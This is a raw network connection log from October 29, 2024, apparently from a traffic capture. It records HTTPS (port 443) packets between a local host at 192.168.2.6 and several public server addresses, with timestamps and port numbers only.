Oct 29, 2024 17:59:36.443053961 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.447963953 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.548010111 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.548022032 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.548032045 CET	49883	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.548036098 CET	443	49883	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.550698996 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.550714016 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.551413059 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.551426888 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.555569887 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.555866957 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.555882931 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.556269884 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.556277037 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.567218065 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.567521095 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.567542076 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.567902088 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.567905903 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.572432995 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.572455883 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.572562933 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.574130058 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.574141979 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.625950098 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.626565933 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.626591921 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.627104998 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.627113104 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.676537991 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.676656961 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.676970005 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.676970005 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.676990986 CET	49887	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.677007914 CET	443	49887	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.679310083 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.679342985 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.679409027 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.679542065 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.679548979 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.692496061 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.692519903 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.692564964 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.692589998 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.692619085 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.692909002 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.692924976 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.692936897 CET	49889	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.692941904 CET	443	49889	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.693279982 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.693763971 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.693773031 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.694152117 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.694168091 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.694215059 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.694220066 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.694255114 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.694282055 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.694865942 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.698060989 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:36.698405981 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:36.698415041 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:36.698767900 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.698836088 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.698925018 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.698930979 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.699424028 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:36.699476957 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:36.700937986 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:36.700997114 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:36.703772068 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.703823090 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.703907967 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.707254887 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.707273960 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.707283974 CET	49888	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.707290888 CET	443	49888	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.714076996 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.714114904 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.714147091 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.714184999 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.714230061 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.714303017 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.714440107 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.714454889 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.714472055 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.714499950 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.789503098 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.789572954 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:36.789587975 CET	443	49898	18.244.18.27	192.168.2.6
Oct 29, 2024 17:59:36.793039083 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.793231010 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.793292046 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.794629097 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.794661045 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.794687033 CET	49900	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.794702053 CET	443	49900	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.799420118 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.799453020 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.799526930 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.799659967 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:36.799673080 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:36.946947098 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.947176933 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.947427988 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.947446108 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.951142073 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.951200962 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.951208115 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.960176945 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.960242987 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.960252047 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.968899965 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.968964100 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:36.968971014 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:36.993511915 CET	49898	443	192.168.2.6	18.244.18.27
Oct 29, 2024 17:59:37.024286032 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.024329901 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.024415016 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.024784088 CET	49914	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.024799109 CET	443	49914	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.064277887 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.064328909 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.064377069 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.064389944 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.064439058 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.068489075 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.075895071 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.075947046 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.075997114 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.076001883 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.076139927 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.081378937 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.081422091 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.081518888 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.081999063 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.082037926 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.082309961 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.082884073 CET	49915	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.082901955 CET	443	49915	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.083019972 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.083031893 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.085138083 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.089107990 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.089492083 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.089504004 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.093486071 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.093517065 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.093591928 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.094068050 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.094080925 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.180145025 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.180193901 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.180200100 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.180222034 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.180263996 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.184581995 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.193537951 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.193628073 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.193675995 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.193684101 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.193734884 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.198081970 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.202534914 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.202666998 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.202673912 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.253541946 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.253587008 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.253638029 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.253664970 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.253705025 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.297476053 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.302345991 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.302407980 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.302431107 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.309717894 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.311784983 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.311826944 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.311844110 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.319798946 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.319844007 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.319859982 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.323726892 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.323771000 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.323785067 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.332315922 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.332338095 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.332932949 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.332938910 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.370953083 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.372231960 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.372252941 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.414033890 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.414870024 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.414920092 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.414938927 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.420180082 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.420224905 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.420239925 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.428184032 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.429513931 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.429529905 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.437259912 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.439162970 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.439172983 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.439178944 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.439188004 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.439614058 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.439619064 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.441077948 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.441117048 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.441127062 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.448246002 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.450067043 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.450079918 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.450501919 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.450506926 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.454138994 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.459614992 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.459853888 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.459899902 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.460000038 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.461086988 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.461108923 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.462534904 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.462541103 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.464699030 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.464710951 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.464749098 CET	49905	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.464755058 CET	443	49905	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.481609106 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.481642008 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.481725931 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.481924057 CET	49918	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.481939077 CET	443	49918	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.488354921 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.489250898 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.489269972 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.530635118 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.532206059 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.532246113 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.532267094 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.536854029 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.536890984 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.536905050 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.546101093 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.546164036 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.546179056 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.555341959 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.555449963 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.555464029 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.559494972 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.559556007 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.559567928 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.565293074 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.565310955 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.565829992 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.565834999 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.566200018 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.566251040 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.566411972 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.567249060 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.567262888 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.567271948 CET	49907	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.567276955 CET	443	49907	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.579982996 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.580058098 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.580183983 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.589221954 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.589452028 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.589502096 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.589699984 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.589715004 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.589734077 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.589739084 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.606192112 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.607492924 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.607511044 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.618796110 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.618808031 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.618822098 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.618828058 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.629143000 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.629174948 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.629246950 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.632565975 CET	49919	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.632585049 CET	443	49919	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.634517908 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.634542942 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.634629965 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.634852886 CET	49920	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.634862900 CET	443	49920	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.636306047 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.636327028 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.636493921 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.636579990 CET	49921	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.636594057 CET	443	49921	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.649736881 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.650245905 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.650268078 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.654772043 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.655672073 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.655706882 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.655725956 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.655745029 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.655765057 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.669203043 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.669251919 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.669373989 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.669390917 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.669584036 CET	49891	443	192.168.2.6	216.58.206.33
Oct 29, 2024 17:59:37.676649094 CET	443	49891	216.58.206.33	192.168.2.6
Oct 29, 2024 17:59:37.693380117 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.693408966 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.693459034 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.693473101 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.693527937 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.693701982 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.693713903 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.693744898 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.693751097 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.697664022 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.697693110 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.697770119 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.701037884 CET	49922	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:37.701051950 CET	443	49922	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:37.705092907 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.705415964 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.705430984 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.706743002 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.706805944 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.707700014 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.707707882 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.707772017 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.707976103 CET	49917	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.707992077 CET	443	49917	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.708414078 CET	49916	443	192.168.2.6	162.159.61.3
Oct 29, 2024 17:59:37.708420992 CET	443	49916	162.159.61.3	192.168.2.6
Oct 29, 2024 17:59:37.709036112 CET	443	49917	162.159.61.3	192.168.2.6
